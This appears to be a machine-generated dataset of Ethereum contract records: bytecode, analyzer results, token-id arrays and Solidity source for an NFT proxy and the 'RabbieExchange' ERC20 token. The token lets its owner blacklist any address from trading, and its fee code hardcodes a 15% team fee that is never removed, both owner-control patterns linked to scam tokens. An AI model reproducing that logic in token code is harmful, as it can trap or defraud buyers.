02260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61204881611b5f565b811461205357600080fd5b50565b61205f81611b9d565b811461206a57600080fd5b5056fea2646970667358221220676221b4ca9012f20890c7a2dd576c931a0c33ea2438bc0ca23a89d85e7cb9ac64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2549, 2278, 2509, 5243, 2692, 2475, 2094, 2581, 2278, 22907, 2063, 2620, 2683, 2094, 2581, 11057, 11329, 2620, 27235, 2692, 2509, 2497, 2683, 2683, 2629, 20952, 2692, 23352, 4783, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 14305, 1013, 9413, 2278, 11387, 8022, 3085, 1012, 14017, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,762
0x974c8e893d97d6fa6d028a3016d819cfb6b0206c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: OFFICIAL ROBB 1/1 ART /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ..... .'''.. // // ,ccc::. .:lllc;. // // .,,,;;;;;;;,,,'.. .:lclc;. 'cclcc' // // .:cclccccclllllllc' 'ccccc' .;cclc:. // // 'cclcl:....,:ccclcc' .;lllc:. ...... .:llcc;......... // // ;lclcc, .:lllcl' .'';;;;;,;c;'. .cclcc:;;cccccc;. ,cclc:;:clllllc:' // // .:clcc:. ':cclc:. .;ccccllcllcclll;. ,cclcccccclllclcc' .:cclccccc:clcllcc' // // ,ccllc;. ...;cclcc:. .:clllc;'...:llllcl:. .:llllcc;'..:ccclc;. 'cclccc:'. .:cclc:;. // // .:cclllc::llcclc:;.. .:lllc:' '::cll::' 'cclcc:'. ':cll::. ;lllcc;. ,cclc:;. // // 'ccllcc:clcllcc:' ;cclcc' .::cll::. .;clcc:. 'ccllc,. .:clcc;. ,lclcc' // // .;cclcc,..';cclcc:. .:lcll:. 'clllcc;. .cclcc, .;lllc:. ,cllc:. .ccllc:. // // .:cllc:. .;clclc,. 'cclcl:. .:ccclc:. ,lclc:. 'cclcc,. .;llcc:. .;cclc:' // // .;clccc. .:lllc:' ,cclccc:,;:cllllc;. 'cllccccc::ccccc:;. .;cllcccclccllllc;. // // 'clllc;. .:lclcc;. .;cclllllllcc;,. ,::;;,,:cccccc;'. ',,''.';:;;;;;'. // // ...'''. .'''... ..'.''.''.. ....... // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract RB is ERC721Creator { constructor() ERC721Creator("OFFICIAL ROBB 1/1 ART", "RB") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122008c75695ded8b8d5d2d272ade2825a35124a62d3da39fcd6668dfda00bdbb06264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 2278, 2620, 2063, 2620, 2683, 29097, 2683, 2581, 2094, 2575, 7011, 2575, 2094, 2692, 22407, 2050, 14142, 16048, 2094, 2620, 16147, 2278, 26337, 2575, 2497, 2692, 11387, 2575, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2880, 26211, 1015, 1013, 1015, 2396, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,763
0x974cd79068c5ad8c34a72b9d38059b057a570d58
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RabbieExchange is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Rabbie Exchange Swap "; string private constant _symbol = " Rabbie"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381